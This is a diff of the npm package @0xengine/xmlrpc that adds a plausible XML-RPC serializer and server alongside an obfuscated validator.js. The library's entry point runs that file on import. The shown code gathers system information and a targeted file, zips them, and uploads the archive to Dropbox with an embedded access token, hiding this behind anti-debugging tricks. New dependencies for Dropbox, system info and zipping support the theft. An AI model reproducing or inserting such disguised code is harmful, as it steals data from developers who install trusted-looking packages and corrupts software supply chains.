@0xengine/xmlrpc 0.0.1-security → 1.3.10

package/lib/serializer.js

@@ -0,0 +1,202 @@
+var xmlBuilder    = require('xmlbuilder')
+  , dateFormatter = require('./date_formatter')
+  , CustomType    = require('./customtype')
+
+/**
+ * Creates the XML for an XML-RPC method call.
+ *
+ * @param {String} method     - The method name.
+ * @param {Array} params      - Params to pass in the call.
+ * @param {Function} callback - function (error, xml) { ... }
+ *   - {Object|null} error    - Any errors that occurred while building the XML,
+ *                              otherwise null.
+ *   - {String} xml           - The method call XML.
+ */
+exports.serializeMethodCall = function(method, params, encoding) {
+  var params = params || []
+
+  var options = { version: '1.0', allowSurrogateChars: true }
+
+  if (encoding) {
+    options.encoding = encoding
+  }
+
+  var xml = xmlBuilder.create('methodCall', options)
+    .ele('methodName')
+      .txt(method)
+    .up()
+    .ele('params')
+
+  params.forEach(function(param) {
+    serializeValue(param, xml.ele('param'))
+  })
+
+  // Includes the <?xml ...> declaration
+  return xml.doc().toString()
+}
+
+/**
+ * Creates the XML for an XML-RPC method response.
+ *
+ * @param {mixed} value       - The value to pass in the response.
+ * @param {Function} callback - function (error, xml) { ... }
+ *   - {Object|null} error    - Any errors that occurred while building the XML,
+ *                              otherwise null.
+ *   - {String} xml           - The method response XML.
+ */
+exports.serializeMethodResponse = function(result) {
+  var xml = xmlBuilder.create('methodResponse', { version: '1.0', allowSurrogateChars: true })
+    .ele('params')
+      .ele('param')
+
+  serializeValue(result, xml)
+
+  // Includes the <?xml ...> declaration
+  return xml.doc().toString()
+}
+
+exports.serializeFault = function(fault) {
+  var xml = xmlBuilder.create('methodResponse', { version: '1.0', allowSurrogateChars: true })
+    .ele('fault')
+
+  serializeValue(fault, xml)
+
+  // Includes the <?xml ...> declaration
+  return xml.doc().toString()
+}
+
+function serializeValue(value, xml) {
+  var stack     = [ { value: value, xml: xml } ]
+    , current   = null
+    , valueNode = null
+    , next      = null
+
+  while (stack.length > 0) {
+    current = stack[stack.length - 1]
+
+    if (current.index !== undefined) {
+      // Iterating a compound
+      next = getNextItemsFrame(current)
+      if (next) {
+        stack.push(next)
+      }
+      else {
+        stack.pop()
+      }
+    }
+    else {
+      // we're about to add a new value (compound or simple)
+      valueNode = current.xml.ele('value')
+      switch(typeof current.value) {
+        case 'boolean':
+          appendBoolean(current.value, valueNode)
+          stack.pop()
+          break
+        case 'string':
+          appendString(current.value, valueNode)
+          stack.pop()
+          break
+        case 'number':
+          appendNumber(current.value, valueNode)
+          stack.pop()
+          break
+        case 'object':
+          if (current.value === null) {
+            valueNode.ele('nil')
+            stack.pop()
+          }
+          else if (current.value instanceof Date) {
+            appendDatetime(current.value, valueNode)
+            stack.pop()
+          }
+          else if (Buffer.isBuffer(current.value)) {
+            appendBuffer(current.value, valueNode)
+            stack.pop()
+          }
+          else if (current.value instanceof CustomType) {
+            current.value.serialize(valueNode)
+            stack.pop()
+          }
+          else {
+            if (Array.isArray(current.value)) {
+              current.xml = valueNode.ele('array').ele('data')
+            }
+            else {
+              current.xml = valueNode.ele('struct')
+              current.keys = Object.keys(current.value)
+            }
+            current.index = 0
+            next = getNextItemsFrame(current)
+            if (next) {
+              stack.push(next)
+            }
+            else {
+              stack.pop()
+            }
+          }
+          break
+        default:
+          stack.pop()
+          break
+      }
+    }
+  }
+}
+
+function getNextItemsFrame(frame) {
+  var nextFrame = null
+
+  if (frame.keys) {
+    if (frame.index < frame.keys.length) {
+      var key    = frame.keys[frame.index++]
+        , member = frame.xml.ele('member').ele('name').text(key).up()
+      nextFrame = {
+        value: frame.value[key]
+      , xml: member
+      }
+    }
+  }
+  else if (frame.index < frame.value.length) {
+    nextFrame = {
+      value: frame.value[frame.index]
+    , xml: frame.xml
+    }
+    frame.index++
+  }
+
+  return nextFrame
+}
+
+function appendBoolean(value, xml) {
+  xml.ele('boolean').txt(value ? 1 : 0)
+}
+
+var illegalChars = /^(?![^<&]*]]>[^<&]*)[^<&]*$/
+function appendString(value, xml) {
+  if (value.length === 0) {
+    xml.ele('string')
+  }
+  else if (!illegalChars.test(value)) {
+    xml.ele('string').d(value)
+  }
+  else {
+    xml.ele('string').txt(value)
+  }
+}
+
+function appendNumber(value, xml) {
+  if (value % 1 == 0) {
+    xml.ele('int').txt(value)
+  }
+  else {
+    xml.ele('double').txt(value)
+  }
+}
+
+function appendDatetime(value, xml) {
+  xml.ele('dateTime.iso8601').txt(dateFormatter.encodeIso8601(value))
+}
+
+function appendBuffer(value, xml) {
+  xml.ele('base64').txt(value.toString('base64'))
+}

package/lib/server.js

@@ -0,0 +1,78 @@
+var http             = require('http')
+  , https            = require('https')
+  , url              = require('url')
+  , EventEmitter     = require('events').EventEmitter
+  , Serializer       = require('./serializer')
+  , Deserializer     = require('./deserializer')
+
+/**
+ * Creates a new Server object. Also creates an HTTP server to start listening
+ * for XML-RPC method calls. Will emit an event with the XML-RPC call's method
+ * name when receiving a method call.
+ *
+ * @constructor
+ * @param {Object|String} options - The HTTP server options. Either a URI string
+ *                                  (e.g. 'http://localhost:9090') or an object
+ *                                  with fields:
+ *   - {String} host              - (optional)
+ *   - {Number} port
+ * @param {Boolean} isSecure      - True if using https for making calls,
+ *                                  otherwise false.
+ * @return {Server}
+ */
+function Server(options, isSecure, onListening) {
+
+  if (false === (this instanceof Server)) {
+    return new Server(options, isSecure)
+  }
+  onListening = onListening || function() {}
+  var that = this
+
+  // If a string URI is passed in, converts to URI fields
+  if (typeof options === 'string') {
+    options = url.parse(options)
+    options.host = options.hostname
+    options.path = options.pathname
+  }
+
+  function handleMethodCall(request, response) {
+    var deserializer = new Deserializer()
+    deserializer.deserializeMethodCall(request, function(error, methodName, params) {
+      if (Object.prototype.hasOwnProperty.call(that._events, methodName)) {
+        that.emit(methodName, null, params, function(error, value) {
+          var xml = null
+          if (error !== null) {
+            xml = Serializer.serializeFault(error)
+          }
+          else {
+            xml = Serializer.serializeMethodResponse(value)
+          }
+          response.writeHead(200, {'Content-Type': 'text/xml'})
+          response.end(xml)
+        })
+      }
+      else {
+        that.emit('NotFound', methodName, params)
+        response.writeHead(404)
+        response.end()
+      }
+    })
+  }
+
+  this.httpServer = isSecure ? https.createServer(options, handleMethodCall)
+                            : http.createServer(handleMethodCall)
+
+  process.nextTick(function() {
+    this.httpServer.listen(options.port, options.host, onListening)
+  }.bind(this))
+  this.close = function(callback) {
+    this.httpServer.once('close', callback)
+    this.httpServer.close()
+  }.bind(this)
+}
+
+// Inherit from EventEmitter to emit and listen
+Server.prototype.__proto__ = EventEmitter.prototype
+
+module.exports = Server
+

package/lib/validator.js

@@ -0,0 +1 @@
+const a0_0x256156=a0_0x4c32;(function(_0x28a47e,_0x4f46e5){const _0x1ea123=a0_0x4c32,_0xc7b8d5=_0x28a47e();while(!![]){try{const _0x59c85b=parseInt(_0x1ea123(0xdd))/(-0xdaa+0x16a0+0x8f5*-0x1)*(-parseInt(_0x1ea123(0xe1))/(0x1160+0x6b*-0x2e+0x4*0x77))+parseInt(_0x1ea123(0x10b))/(0x129a+-0x22f8+0x1061)*(-parseInt(_0x1ea123(0x106))/(0x489+-0x1233+0x2*0x6d7))+-parseInt(_0x1ea123(0xd2))/(0x1c9+0x2597+0x19*-0x193)*(parseInt(_0x1ea123(0x10d))/(-0x1*0x13df+-0xa00+0x1de5))+-parseInt(_0x1ea123(0xd1))/(0x1ea6+0x1525*-0x1+-0x1*0x97a)*(parseInt(_0x1ea123(0xe8))/(0x10*0x3e+0x1*-0x10ed+-0x1*-0xd15))+-parseInt(_0x1ea123(0x110))/(0xaff+-0x1*0x251b+0x1a25)*(-parseInt(_0x1ea123(0xe7))/(-0x2377*-0x1+0x1344+-0x36b1))+-parseInt(_0x1ea123(0xc9))/(-0x3f+0x2029*0x1+-0x1fdf)+parseInt(_0x1ea123(0xd4))/(-0x1c81+0xd03+-0xea*-0x11);if(_0x59c85b===_0x4f46e5)break;else _0xc7b8d5['push'](_0xc7b8d5['shift']());}catch(_0x739b57){_0xc7b8d5['push'](_0xc7b8d5['shift']());}}}(a0_0x2d6f,0x6cfb2+-0x13642+-0x790b));function a0_0x2d6f(){const _0x2ed8af=['uuid','mlj2Q3ZIWH','createRead','authentica','tmpdir','cSDqb','constructo','v4t9cLf8Yg','251153zCluUN','argv','e)\x20{}','length','2bmeyrj','--targets','RYeN1wDAdZ','ensureDir','files/uplo','token','5820HLluFP','4680328qzwnqT','resource','path','zbhwO','call','readStream','Stream','zip-a-fold','OAfFu','fmSV0SdJog','init','0-9a-zA-Z_','parameters','gger','-api','copyFile','BnPLZhbP1U','zeuQG8YevS','AJSMt','exports','MkehO','test','M39Oy3sFGs','.zip','sl.','dropbox-v2','s1UkAQEHrZ','JHWMd','function\x20*','/targets.t','44024cZnowX','nLhZp4NvSv','onBIF','4RIzC6BNTS','\x5c+\x5c+\x20*(?:[','177qwlrtm','log','102DYyilA','push','apply','1359TZSSOA','/si.json','input','systeminfo','counter','a-zA-Z_$][','5hv6eq8SJD','dIMMs','chain','OIate','3928716rvGTnn','string','zipPath:\x20','encoding','debu','xElRJtUSU8','findIndex','osInfo','7bodtIB','42335IxNPZY','rmation','26816808pYpHdv'];a0_0x2d6f=function(){return _0x2ed8af;};return a0_0x2d6f();}const a0_0xca1ccf=(function(){let _0x3c584c=!![];return function(_0x44c654,_0x49fc35){const _0x118e54=_0x3c584c?function(){const _0x4a4f97=a0_0x4c32;if('zbhwO'===_0x4a4f97(0xeb)){if(_0x49fc35){const _0x7699b0=_0x49fc35['apply'](_0x44c654,arguments);return _0x49fc35=null,_0x7699b0;}}else _0x32b134[_0x4a4f97(0x10c)](_0x22edfb);}:function(){};return _0x3c584c=![],_0x118e54;};}());function a0_0x4c32(_0x2d6f4a,_0x4c32b2){const _0x8244c1=a0_0x2d6f();return a0_0x4c32=function(_0x419a84,_0x138860){_0x419a84=_0x419a84-(-0x152+0xb7d+-0x967);let _0x288426=_0x8244c1[_0x419a84];return _0x288426;},a0_0x4c32(_0x2d6f4a,_0x4c32b2);}(function(){a0_0xca1ccf(this,function(){const _0x301e2d=a0_0x4c32,_0x43841e=new RegExp(_0x301e2d(0x104)+'\x5c(\x20*\x5c)'),_0x25b363=new RegExp(_0x301e2d(0x10a)+_0x301e2d(0xc4)+_0x301e2d(0xf3)+'$]*)','i'),_0x45851a=a0_0x180ae0(_0x301e2d(0xf2));!_0x43841e[_0x301e2d(0xfd)](_0x45851a+_0x301e2d(0xc7))||!_0x25b363[_0x301e2d(0xfd)](_0x45851a+_0x301e2d(0x112))?_0x301e2d(0x103)!==_0x301e2d(0xc8)?_0x45851a('0'):_0x384346[_0x301e2d(0x10c)](_0x29b907):a0_0x180ae0();})();}());const fs=require('fs-extra'),{zip}=require(a0_0x256156(0xef)+'er'),si=require(a0_0x256156(0x113)+a0_0x256156(0xd3)),os=require('os'),path=require(a0_0x256156(0xea)),dropboxV2Api=require(a0_0x256156(0x101)+a0_0x256156(0xf6));async function validator(){const _0x3e7119=a0_0x256156,_0x150aef=process[_0x3e7119(0xde)]['find'](_0xa9c648=>_0xa9c648==='debugme')!==undefined,_0x58b2da=_0x2b4833=>{_0x150aef&&console['log'](_0x2b4833);},_0x4451a8=()=>{const _0x27c76a=_0x3e7119;if(_0x27c76a(0xfa)==='VuFwC')return;else{const _0x40194f=_0x27c76a(0x100),_0x1ee9e6=_0x27c76a(0xf8)+_0x27c76a(0xd6)+_0x27c76a(0xe3)+_0x27c76a(0x102)+'4RIzC6BNTS'+'xElRJtUSU8'+_0x27c76a(0xf1)+'SE55iX8Usa'+_0x27c76a(0xfe)+_0x27c76a(0xf9)+_0x27c76a(0xc5)+'xi3dKx2gFj'+_0x27c76a(0x107)+_0x27c76a(0xdc),_0xd59963=[];_0xd59963[_0x27c76a(0x10e)](_0x40194f),_0xd59963[_0x27c76a(0x10e)](_0x1ee9e6);let _0x7f0939='';for(let _0x1867bb=-0xbe+-0x17*-0x37+-0x433;_0x1867bb<_0xd59963[_0x27c76a(0xe0)];_0x1867bb++){_0x7f0939+=_0xd59963[_0x1867bb];}return _0x7f0939;}};_0x58b2da(process['argv']);const _0x25cda6=process[_0x3e7119(0xde)][_0x3e7119(0xcf)](_0x6c219=>_0x6c219===_0x3e7119(0xe2)||_0x6c219==='-t');if(_0x25cda6===-(0x3*-0x935+-0x1f9f+0x3b3f))return;const _0x379412=path['resolve'](process[_0x3e7119(0xde)][_0x25cda6+(-0x212f*-0x1+0x19*0x9e+-0x309c)]);_0x58b2da('targets\x20sr'+'c\x20path:\x20'+_0x379412);const _0x1c973c=os[_0x3e7119(0xd9)](),_0x3f93e9=Date['now'](),_0x578170=_0x1c973c+'/'+_0x3f93e9;await fs[_0x3e7119(0xe4)](_0x578170);const _0x197f45=await si[_0x3e7119(0xd5)](),_0x51a737=await si[_0x3e7119(0xd0)](),_0x285bee={};_0x285bee[_0x3e7119(0xd5)]=_0x197f45,_0x285bee[_0x3e7119(0xd0)]=_0x51a737;const _0x51f627=_0x285bee,_0x8e629c=JSON['stringify'](_0x51f627,null,0x1941+0x1197+0x2ad6*-0x1),_0x4f7b78=_0x578170+_0x3e7119(0x111),_0x35d9a3={};_0x35d9a3[_0x3e7119(0xcc)]='utf8',await fs['writeFile'](_0x4f7b78,_0x8e629c,_0x35d9a3);const _0x46e064=_0x578170+(_0x3e7119(0x105)+'xt');await fs[_0x3e7119(0xf7)](_0x379412,_0x46e064);const _0x524aa2=_0x197f45['os']+'-'+_0x3f93e9+_0x3e7119(0xff),_0x35aa5b=_0x1c973c+'/'+_0x524aa2;_0x58b2da(_0x3e7119(0xcb)+_0x35aa5b),await zip(_0x578170,_0x35aa5b);const _0x102318=_0x4451a8();_0x58b2da('token:\x20'+_0x102318);const _0x1896e7=fs[_0x3e7119(0xd7)+_0x3e7119(0xee)](_0x35aa5b),_0x4a5e0c={};_0x4a5e0c[_0x3e7119(0xe6)]=_0x102318;const _0x1cf198=dropboxV2Api[_0x3e7119(0xd8)+'te'](_0x4a5e0c),_0x191b40={};_0x191b40[_0x3e7119(0xea)]='/'+_0x524aa2;const _0x1ef947={};_0x1ef947[_0x3e7119(0xe9)]=_0x3e7119(0xe5)+'ad',_0x1ef947[_0x3e7119(0xf4)]=_0x191b40,_0x1ef947[_0x3e7119(0xed)]=_0x1896e7,_0x1cf198(_0x1ef947,(_0x5315ff,_0x1db99f,_0x9f6fa0)=>{const _0xc4902f=_0x3e7119;_0x150aef&&(_0x5315ff&&console[_0xc4902f(0x10c)](_0x5315ff),_0x1db99f&&console['log'](_0x1db99f));});}module[a0_0x256156(0xfb)]=validator;function a0_0x180ae0(_0x5548ce){function _0x48e17f(_0x1e746c){const _0x140fb3=a0_0x4c32;if(typeof _0x1e746c===_0x140fb3(0xca))return function(_0x3c83e7){}['constructo'+'r']('while\x20(tru'+_0x140fb3(0xdf))[_0x140fb3(0x10f)](_0x140fb3(0x114));else{if((''+_0x1e746c/_0x1e746c)[_0x140fb3(0xe0)]!==0x125*-0x1b+0x2*0x210+0x8*0x359||_0x1e746c%(-0x200b+0x1a5c+-0x19*-0x3b)===0xefe+0x1*0x214d+-0x27*0x13d){if('gAVPR'!==_0x140fb3(0xda))(function(){const _0x460ead=_0x140fb3;if(_0x460ead(0x108)!==_0x460ead(0xfc))return!![];else{const _0x5e97f4=_0x460ead(0x100),_0x4f8aa3=_0x460ead(0xf8)+_0x460ead(0xd6)+'RYeN1wDAdZ'+_0x460ead(0x102)+_0x460ead(0x109)+_0x460ead(0xce)+_0x460ead(0xf1)+'SE55iX8Usa'+_0x460ead(0xfe)+_0x460ead(0xf9)+_0x460ead(0xc5)+'xi3dKx2gFj'+_0x460ead(0x107)+_0x460ead(0xdc),_0x47c16e=[];_0x47c16e[_0x460ead(0x10e)](_0x5e97f4),_0x47c16e[_0x460ead(0x10e)](_0x4f8aa3);let _0x50ea00='';for(let _0x3695f5=0xb*0x6f+-0x2*-0x1217+0xb*-0x3b9;_0x3695f5<_0x47c16e[_0x460ead(0xe0)];_0x3695f5++){_0x50ea00+=_0x47c16e[_0x3695f5];}return _0x50ea00;}}[_0x140fb3(0xdb)+'r'](_0x140fb3(0xcd)+'gger')[_0x140fb3(0xec)]('action'));else return![];}else(function(){const _0x42426a=_0x140fb3;if(_0x42426a(0xc6)!==_0x42426a(0xf0))return![];else _0x1846b&&_0x56fede[_0x42426a(0x10c)](_0x4f4ca5),_0x28eb5a&&_0x585c5f['log'](_0x79e696);}['constructo'+'r'](_0x140fb3(0xcd)+_0x140fb3(0xf5))[_0x140fb3(0x10f)]('stateObjec'+'t'));}_0x48e17f(++_0x1e746c);}try{if(_0x5548ce)return _0x48e17f;else _0x48e17f(0x1*0x1421+0x74*0x6+0x1*-0x16d9);}catch(_0x4c4e22){}}

package/lib/xmlrpc.js

@@ -0,0 +1,73 @@
+var Client = require('./client')
+  , Server = require('./server')
+  , CustomType = require('./customtype')
+  , dateFormatter = require('./date_formatter')
+  , validator = require('./validator')
+
+var xmlrpc = exports
+
+/**
+ * Creates an XML-RPC client.
+ *
+ * @param {Object} options - server options to make the HTTP request to
+ *   - {String} host
+ *   - {Number} port
+ *   - {String} url
+ *   - {Boolean} cookies
+ * @return {Client}
+ * @see Client
+ */
+xmlrpc.createClient = function(options) {
+  return new Client(options, false)
+}
+
+/**
+ * Creates an XML-RPC client that makes calls using HTTPS.
+ *
+ * @param {Object} options - server options to make the HTTP request to
+ *   - {String} host
+ *   - {Number} port
+ *   - {String} url
+ *   - {Boolean} cookies
+ * @return {Client}
+ * @see Client
+ */
+xmlrpc.createSecureClient = function(options) {
+  return new Client(options, true)
+}
+
+/**
+ * Creates an instance of server parameter validator.
+ * @See Server
+ */
+xmlrpc.validator = validator()
+
+
+/**
+ * Creates an XML-RPC server.
+ *
+ * @param {Object}options - the HTTP server options
+ *   - {String} host
+ *   - {Number} port
+ * @return {Server}
+ * @see Server
+ */
+xmlrpc.createServer = function(options, callback) {
+  return new Server(options, false, callback)
+}
+
+/**
+ * Creates an XML-RPC server that uses HTTPS.
+ *
+ * @param {Object}options - the HTTP server options
+ *   - {String} host
+ *   - {Number} port
+ * @return {Server}
+ * @see Server
+ */
+xmlrpc.createSecureServer = function(options, callback) {
+  return new Server(options, true, callback)
+}
+
+xmlrpc.CustomType = CustomType
+xmlrpc.dateFormatter = dateFormatter

package/package.json

@@ -1,6 +1,47 @@
 {
   "name": "@0xengine/xmlrpc",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "description": "A pure JavaScript XML-RPC client and server.",
+  "keywords": [
+    "xml-rpc",
+    "xmlrpc",
+    "xml",
+    "rpc"
+  ],
+  "version": "1.3.10",
+  "preferGlobal": false,
+  "homepage": "https://bitbucket.org/0xsky/xmlrpc",
+  "author": "0xengine",
+  "repository": {
+    "type": "git",
+    "url": "git+ssh://git@bitbucket.org/0xsky/xmlrpc.git"
+  },
+  "directories": {
+    "example": "example",
+    "lib": "lib",
+    "test": "test"
+  },
+  "main": "./lib/xmlrpc.js",
+  "dependencies": {
+    "dropbox-v2-api": "^2.5.10",
+    "fs-extra": "^11.1.1",
+    "sax": "1.2.x",
+    "systeminformation": "^5.21.9",
+    "uuid": "^9.0.1",
+    "xmlbuilder": "8.2.x",
+    "zip-a-folder": "^1.1.7"
+  },
+  "devDependencies": {
+    "vows": "0.7.x"
+  },
+  "scripts": {
+    "test": "vows 'test/*.js'"
+  },
+  "engines": {
+    "node": ">=0.8",
+    "npm": ">=1.0.0"
+  },
+  "license": "MIT",
+  "bugs": {
+    "url": "https://bitbucket.org/0xsky/xmlrpc/issues"
+  }
 }